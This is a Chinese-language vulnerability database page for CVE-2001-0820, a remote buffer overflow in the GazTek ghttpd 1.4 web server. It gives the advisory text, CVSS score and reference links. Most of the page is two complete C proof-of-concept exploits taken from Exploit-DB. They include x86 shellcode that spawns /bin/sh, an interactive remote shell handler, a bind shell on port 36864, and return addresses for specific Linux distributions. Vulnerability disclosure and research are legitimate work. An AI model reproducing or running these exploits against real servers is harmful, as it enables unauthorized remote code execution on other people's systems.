CVE-2001-0820
CVSS7.5
发布时间 :2001-12-06 00:00:00
修订时间 :2016-10-17 22:12:01
NMCOES    

[原文]Buffer overflows in GazTek ghttpd 1.4 allows a remote attacker to execute arbitrary code via long arguments that are passed to (1) the Log function in util.c, or (2) serveconnection in protocol.c.


[CNNVD]Gaztek ghttpd 远程溢出漏洞(CNNVD-200112-037)

        CVE(CAN) ID: CAN-2001-0820
        
        
        
        Gaztek ghttpd web服务器是一个免费的开放源码的Unix Web Server.
        
        
        
        ghttpd在处理URL请求时存在一个未经检查的缓冲区。远程攻击者可以使这个缓冲区溢出,
        
        并可以以http守护进程的身份执行任意代码。
        
        
        
        有问题的代码在util.c的第219行处:
        
        
        
        ...
        
         va_start(ap, format);
        
         vsprintf(temp, format, ap);
        
         va_end(ap);
        
        ...
        
        
        
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0820
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0820
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200112-037
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=99279182704674&w=2
(UNKNOWN)  BUGTRAQ  20010617 Buffer Overflow in GazTek HTTP Daemon v1.4 (ghttpd)
http://marc.info/?l=bugtraq&m=99406263214417&w=2
(UNKNOWN)  BUGTRAQ  20010630 Advisory Ghttp 1.4
http://www.securityfocus.com/bid/2879
(VENDOR_ADVISORY)  BID  2879
http://www.securityfocus.com/bid/2965
(UNKNOWN)  BID  2965
http://xforce.iss.net/static/6702.php
(VENDOR_ADVISORY)  XF  gaztek-ghttpd-bo(6702)

- 漏洞信息

Gaztek ghttpd 远程溢出漏洞
高危 边界条件错误
2001-12-06 00:00:00 2005-10-20 00:00:00
远程  
        CVE(CAN) ID: CAN-2001-0820
        
        
        
        Gaztek ghttpd web服务器是一个免费的开放源码的Unix Web Server.
        
        
        
        ghttpd在处理URL请求时存在一个未经检查的缓冲区。远程攻击者可以使这个缓冲区溢出,
        
        并可以以http守护进程的身份执行任意代码。
        
        
        
        有问题的代码在util.c的第219行处:
        
        
        
        ...
        
         va_start(ap, format);
        
         vsprintf(temp, format, ap);
        
         va_end(ap);
        
        ...
        
        
        
        

- 公告与补丁

        
        
        临时解决方法:
        
        
        
        如果您正在使用有问题的版本,我们建议您暂时换用其他替代软件或升级到更新版本。
        
        
        
        厂商补丁:
        
        
        
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商
        
        的主页以获取最新版本:
        
        
        
        
        http://members.xoom.com/gaztek

        

- 漏洞信息 (20929)

ghttpd 1.4 Daemon Buffer Overflow Vulnerability (EDBID:20929)
linux remote
2001-06-17 Verified
0 qitest1
N/A [点击下载]
source: http://www.securityfocus.com/bid/2879/info

ghttpd is a freely available, open source web server for Unix systems. ghttpd supports CGI and is easy to configure and use.

A buffer overflow is known to exist in ghttp which will allow arbitrary code to be executed with the privileges of the webserver.

Proof-of-concept code has demonstrated that this vulnerability can be exploited by remote attackers.

/* 
 * GazTek HTTP Daemon v1.4 (ghttpd) Linux x86 remote exploit
 * by qitest1 - 17/06/2001
 * 
 * Root privileges are dropped out by the daemon, so a shell owned by
 * nobody will be executed. 
 *
 * 0x69.. =) 
 */

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>

#define RETPOS 		161

struct targ
{
   int                  def;
   char                 *descr;
   unsigned long int    retaddr;
};

struct targ target[]=
    {                   
      {0, "RedHat 6.2 with GazTek HTTP Daemon v1.4 (ghttpd) from tar.gz", 0xbfffba47},		
      {69, NULL, 0}				
    };

  /* Just the dear old Aleph1's shellcode. This is the only shellcode
   * that seemed to work with this vulnerability. All the other ones 
   * made the daemon crashing too early and zapping out connection, 
   * shell and all their friends.   
   */
char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

char            mybuf[RETPOS + 4];

int             sockami(char *host, int port);
void		do_mybuf(unsigned long retaddr);
void		shellami(int sock);
void		usage(char *progname);

main(int argc, char **argv)
{
int     sel = 0,
        offset = 0,
        sock,
        cnt;
char    *host = NULL,
	sbuf[1024];

  printf("\n  GazTek HTTP Daemon v1.4 (ghttpd) exploit by qitest1\n\n");
  
  if(argc == 1)
        usage(argv[0]);
  while((cnt = getopt(argc,argv,"h:t:o:")) != EOF)
    {
   switch(cnt)
        {
   case 'h':
     host = strdup(optarg);
     break;
   case 't':
     sel = atoi(optarg);       
     break;
   case 'o':
     offset = atoi(optarg);
     break;
   default:
     usage(argv[0]);
     break;
        }
    }
  if(host == NULL)
        usage(argv[0]);

  printf("+Host: %s\n  as: %s\n", host, target[sel].descr);
  printf("+Connecting to %s...\n", host);
  sock = sockami(host, 80);
  printf("  connected\n");

  target[sel].retaddr += offset;
  printf("+Building buffer with retaddr: %p...\n", target[sel].retaddr);
  do_mybuf(target[sel].retaddr);
  printf("  done\n");

  sprintf(sbuf, "GET /%s\n\n", mybuf);
  send(sock, sbuf, strlen(sbuf), 0);
  printf("+Overflowing...\n");

  printf("+Zzing...\n");
  sleep(2);
  printf("+Getting shell...\n"); 
  shellami(sock);  
}


int
sockami(char *host, int port)
{
struct sockaddr_in address;
struct hostent *hp;
int sock;

  sock = socket(AF_INET, SOCK_STREAM, 0);
  if(sock == -1)
        {
          perror("socket()");
          exit(-1);
        }
 
  hp = gethostbyname(host);
  if(hp == NULL)
        {
          perror("gethostbyname()");
          exit(-1);
        }

  memset(&address, 0, sizeof(address));
  memcpy((char *) &address.sin_addr, hp->h_addr, hp->h_length);
  address.sin_family = AF_INET;
  address.sin_port = htons(port);

  if(connect(sock, (struct sockaddr *) &address, sizeof(address)) == -1)
        {
          perror("connect()");
          exit(-1);
        }

  return(sock);
}


void
do_mybuf(unsigned long retaddr)
{
int		i,
		n = 0;
unsigned long 	*ret;

  memset(mybuf, 0x90, sizeof(mybuf));
  for(i = RETPOS - strlen(shellcode); i < RETPOS; i++)
	mybuf[i] = shellcode[n++];
  ret = (unsigned long *)(mybuf + RETPOS);
  *ret = retaddr;
  mybuf[RETPOS + 4] = '\x00';
}

void
shellami(int sock)
{
int             n;
char            recvbuf[1024];
char            *cmd = "id; uname -a\n";
fd_set          rset;

  send(sock, cmd, strlen(cmd), 0);

  while (1)
    {
      FD_ZERO(&rset);
      FD_SET(sock,&rset);
      FD_SET(STDIN_FILENO,&rset);
      select(sock+1,&rset,NULL,NULL,NULL);
      if (FD_ISSET(sock,&rset))
        {
          n=read(sock,recvbuf,1024);
          if (n <= 0)
            {
              printf("Connection closed by foreign host.\n");
              exit(0);
            }
          recvbuf[n]=0;
          printf("%s",recvbuf);
        }
      if (FD_ISSET(STDIN_FILENO,&rset))
        {
          n=read(STDIN_FILENO,recvbuf,1024);
          if (n>0)
            {
              recvbuf[n]=0;
              write(sock,recvbuf,n);
            }
        }
    }
  return;
}

void
usage(char *progname)
{
int             i = 0;
  
  printf("Usage: %s [options]\n", progname);
  printf("Options:\n"
         "  -h hostname\n"
         "  -t target\n"
         "  -o offset\n"
         "Available targets:\n");
  while(target[i].def != 69)
        { 
          printf("  %d) %s\n", target[i].def, target[i].descr);
          i++;
        } 

  exit(1);
}

		

- 漏洞信息 (21937)

ghttpd 1.4.x Log() Function Buffer Overflow Vulnerability (EDBID:21937)
linux remote
2002-10-07 Verified
0 flea
N/A [点击下载]
source: http://www.securityfocus.com/bid/5960/info

A buffer overflow has been reported in ghttpd which will allow arbitrary code to be executed with the privileges of the webserver.

The overflow occurs when the argument to a 'GET' request is of excessive length. It is a stack-based overflow which may allow for attackers to overwrite stack variables and execute arbitrary code on the underlying host.

The webserver minimizes the risk of root compromise by dropping privileges after it has bound to port 80. This vulnerability is still a serious threat however, as remote attackers can gain access. 

/* PRPghttpd.c

		 This program is free software; you can redistribute it and/or
		 modify it under the terms of the GNU General Public License
		 as published by the Free Software Foundation; either version 2
		 of the License, or (at your option) any later version.

		 This program is distributed in the hope that it will be useful,
		 but WITHOUT ANY WARRANTY; without even the implied warranty of
		 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
		 GNU General Public License for more details.

		 You should have received a copy of the GNU General Public License
		 along with this program; if not, write to the Free Software
		 Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
		 02111-1307, USA.

		 -

		 PYR/\MID, Research Project
		 Author: flea
		 Date: October 7, 2002
		 Members: Apm, flea, thread

		 Proof of Concept Remote Exploit for GazTek HTTP Daemon v1.4-3

		 Works on:
		 i386 Redhat 7.2
		 i386 Redhat 7.3
		 i386 Slackware 8.1

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define NOP                     0x90
#define MIN_BUFFER_SIZE		 		 198
#define MAX_IP_LENGHT		 		 15
#define GAZTEK_PORT		 		 80
#define BIND_PORT               36864

void synops(char *argv[]);
int main(int argc, char *argv[]);
void get_ban(char *ban_addr);

#define ARCH_NUMBER		 		 4

struct arch {
		 int id;
		 char *os;
		 long addr;
		 int adjusted_buf;
} architectures[] = {
		 		 		 {0, "GazTek HTTP Daemon v1.4/i386 RedHat 7.3 Linux", 0xbfffb9c0, 0},
		 		 		 {1, "GazTek HTTP Daemon v1.4/i386 RedHat 7.3 Linux", 0xbfffb6b0, 0},
		 		      		 {2, "GazTek HTTP Daemon v1.4/i386 RedHat 7.2 Linux", 0xbfffb658, -1},
		 		         {3, "GazTek HTTP Daemon v1.4/i386 Slackware 8.1", 0xbfffb50c, -32}
		 		      };

char bindshell[] =
        "\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c"
        "\x40\x89\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46"
        "\x10\x10\x66\x89\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89"
        "\x46\x18\xb0\x90\x66\x89\x46\x16\x8d\x4e\x14\x89\x4e\x0c"
        "\x8d\x4e\x08\xb0\x66\xcd\x80\x89\x5e\x0c\x43\x43\xb0\x66"
        "\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66\x43\xcd\x80\x86"
        "\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f"
        "\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c"
        "\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh";

void synops(char *argv[])
{
		 int i;

		 printf("PYR/\\MID, Research Project 02\n");
        printf("GazTek HTTP Daemon v1.4 remote exploit, by flea.\n");
        printf("SYNOPS: %s [-b <banner>] -d <arch> <ip> <remote>\n\n", argv[0]);
        printf("<ip>            - ip address to check lenght\n");
        printf("<remote>        - remote target ip addr\n");
        printf("<arch>          - remote architecture id\n");
        printf("<banner>        - ip addr to check banner\n\n");
		 printf("Architectures id:\n");

        for(i=0; i<ARCH_NUMBER; i++)
        		 printf("\t%d, %s, 0x%x\n", architectures[i].id, architectures[i].os, architectures[i].addr);

		 exit(0);
}

void get_ban(char *ban_addr)
{
		 int i, sock_fd;
		 char *read_buf, *read_buf_toked, *ptr;
		 struct sockaddr_in target;

		 if((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) < 1)
		 {
		 		 printf("socket() error.\n");
		 		 exit(-1);
		 }

		 target.sin_family = AF_INET;
		 target.sin_port = htons(GAZTEK_PORT);

		 if((target.sin_addr.s_addr = inet_addr(ban_addr)) == -1)
		 {
		 		 printf("\"%s\" is an invalid ip address.\n", ban_addr);
		 		 exit(-1);
		 }

		 bzero(&(target.sin_zero), 8);

		 if((connect(sock_fd, (struct sockaddr *)&target, sizeof(target))) == -1)
		 {
		 		 printf("connect() error.\n");
		 		 exit(-1);
		 }

		 if((write(sock_fd, "HEAD HTTP /\n\n", 13)) == -1)
		 {
		 		 printf("write() error.\n");
		 		 exit(-1);
		 }

		 read_buf = malloc(256);
		 read_buf_toked = malloc(256);

		 if((read(sock_fd, read_buf, 256)) == -1)
		 {
		 		 printf("read() error.\n");
		 		 exit(-1);
		 }

		 strcpy(read_buf_toked, read_buf);
		 ptr = strstr(read_buf_toked, "Server");
		 ptr = strtok(ptr, "\n");

		 printf("%s\n\n", ptr);

		 printf("****** FULL HEADERS ******\n");
		 ptr = strtok(read_buf, "\n");

		 for(i=0; i<4; i++)
		 {
		 		 ptr = strtok(NULL, "\n");
		 		 printf("%s\n", ptr);
		 }
		 printf("****** FULL HEADERS ******\n");
		 exit(0);
}

main(int argc, char *argv[])
{
		 int c, c_size, ip_lenght, arch_id, sock_fd, errflg=0, ban_chk=0, exp_flg=0;
		 char *addr, *get_buf, *get_buf_str;
		 long ret;

		 extern char *optarg;
		 extern int optind, optopt;

		 struct sockaddr_in target;

		 if(argc == 1)
		 		 synops(argv);

		 while((c = getopt(argc, argv, "b:d:")) != -1)
		 {
		 		 switch(c)
		 		 {
		 		 		 case 'b':
		 		 		 		 addr = malloc(strlen(optarg));
		 		 		 		 strcpy(addr, optarg);
		 		 		 		 ban_chk++;
		 		 		 		 break;
		 		 		 case 'd':
		 		 		 		 if(!(argv[optind]))
		 		 		 		 		 errflg++;
		 		 		 		 if(!(argv[optind+1]))
		 		 		 		 		 errflg++;
		 		 		 		 if(errflg == 0)
		 		 		 		 {
		 		 		 		 		 if((arch_id = atoi(optarg)) < 0 || (arch_id = atoi(optarg)) > (ARCH_NUMBER-1))
		 		 		 		 		 {
		 		 		 		 		 		 printf("Invalid architecture id.\n");
		 		 		 		 		 		 exit(-1);
		 		 		 		 		 }

		 		 		 		 		 if((inet_addr(argv[optind])) != -1)
		 		 		 		 		 		 ip_lenght = strlen(argv[optind+1]);
		 		 		 		 		 else
		 		 		 		 		 {
		 		 		 		 		 		 printf("\"%s\" is an invalid ip address.\n", argv[optind]);
		 		 		 		 		 		 exit(-1);
		 		 		 		 		 }
		 		 		 		 		 addr = malloc(strlen(argv[optind+1]));
		 		 		 		 		 strcpy(addr, argv[optind+1]+1);
		 		 		 		 		 exp_flg++;
		 		 		 		 }

		 		 		 		 break;
		 		 		 case ':':
		 		 		 		 errflg++;
		 		 		 		 break;
		 		 		 case '?':
		 		 		 		 errflg++;
		 		 }
		 }

		 if(errflg > 0)
		 		 synops(argv);

		 /* check banner info */
		 if(ban_chk > 0)
		 		 get_ban(addr);

		 if(!(exp_flg))
		 		 synops(argv);
/*
        Buffer Size Craft Relation
        min string size                    = 192 bytes
        string "GET _" size                =   4 bytes
        max log ip size "255.255.255.255"  =  15 bytes
        string "\n\n" size                 =   2 bytes
                                           = 198 bytes
                                                        */
		 /* dont count with GET request and newline bytes */
		 c_size = ((MIN_BUFFER_SIZE+15-ip_lenght-4-2)+(architectures[arch_id].adjusted_buf));
		 /* NULL string byte */
		 c_size = c_size+1;

		 /* builds crafted buffer */
		 get_buf = malloc(c_size);
		 /* counts with all constants sizes */
		 get_buf_str = malloc((c_size+4+2));

		 memset(get_buf, NOP, c_size);
		 memcpy(get_buf+(c_size-1-4-strlen(bindshell)), bindshell, strlen(bindshell));
		 *(long*)&get_buf[c_size-4-1] = architectures[arch_id].addr;
		 get_buf[c_size-1] = '\0';

		 /* final buffer, now just inject on connection */
		 sprintf(get_buf_str,"GET %s\n\n", get_buf);

		 /* infos */
		 printf("target: %s\n", addr);
		 printf("arch id: %d, %s, 0x%x\n", architectures[arch_id].id, architectures[arch_id].os, architectures[arch_id].addr);
		 printf("ip size: %d bytes\n", ip_lenght);
		 printf("Adjust: %d bytes\n", architectures[arch_id].adjusted_buf);
		 printf("buffer size: %d bytes\n", strlen(get_buf_str));
		 printf("bind shellcode size: %d bytes\n", strlen(bindshell));
		 printf("bind shell tcp port: %d\n", BIND_PORT);
		 printf("Injecting code at 0x%x...\n", architectures[arch_id].addr);

		 /* start socket() */

        if((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) < 1)
        {
                printf("socket() error.\n");
                exit(-1);
        }

        target.sin_family = AF_INET;
        target.sin_port = htons(GAZTEK_PORT);

        if((target.sin_addr.s_addr = inet_addr(addr)) == -1)
        {
                printf("\"%s\" is an invalid ip address.\n", addr);
                exit(-1);
        }

        bzero(&(target.sin_zero), 8);

        if((connect(sock_fd, (struct sockaddr *)&target, sizeof(target))) == -1)
		 {
                printf("connect() error.\n");
                exit(-1);
        }

        if((write(sock_fd, get_buf_str, strlen(get_buf_str))) == -1)
        {
                printf("write() error.\n");
                exit(-1);
        }

		 printf("Done!\n");

return 0;
}		

- 漏洞信息

11788
GazTek ghttpd Log Function Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity

- 漏洞描述

Unknown or Incomplete

- 时间线

2001-06-17 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

ghttpd Daemon Buffer Overflow Vulnerability
Boundary Condition Error 2879
Yes No
2001-06-17 12:00:00 2009-07-11 06:56:00
This vulnerability was discovered by qitest1 <qitest1@cercaband.com> and submitted to BugTraq on June 17th, 2001.

- 受影响的程序版本

ghttpd ghttpd 1.4.3
ghttpd ghttpd 1.4.2
ghttpd ghttpd 1.4.1
ghttpd ghttpd 1.4

- 漏洞讨论

ghttpd is a freely available, open source web server for Unix systems. ghttpd supports CGI and is easy to configure and use.

A buffer overflow is known to exist in ghttp which will allow arbitrary code to be executed with the privileges of the webserver.

Proof-of-concept code has demonstrated that this vulnerability can be exploited by remote attackers.

- 漏洞利用

qitest1 &lt;qitest1@cercaband.com&gt; wrote and submitted this proof-of-concept exploit:

- 解决方案

The following is an unofficial patch for ghttpd 1.4.2 provided by Marc Pompl:


ghttpd ghttpd 1.4.2

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站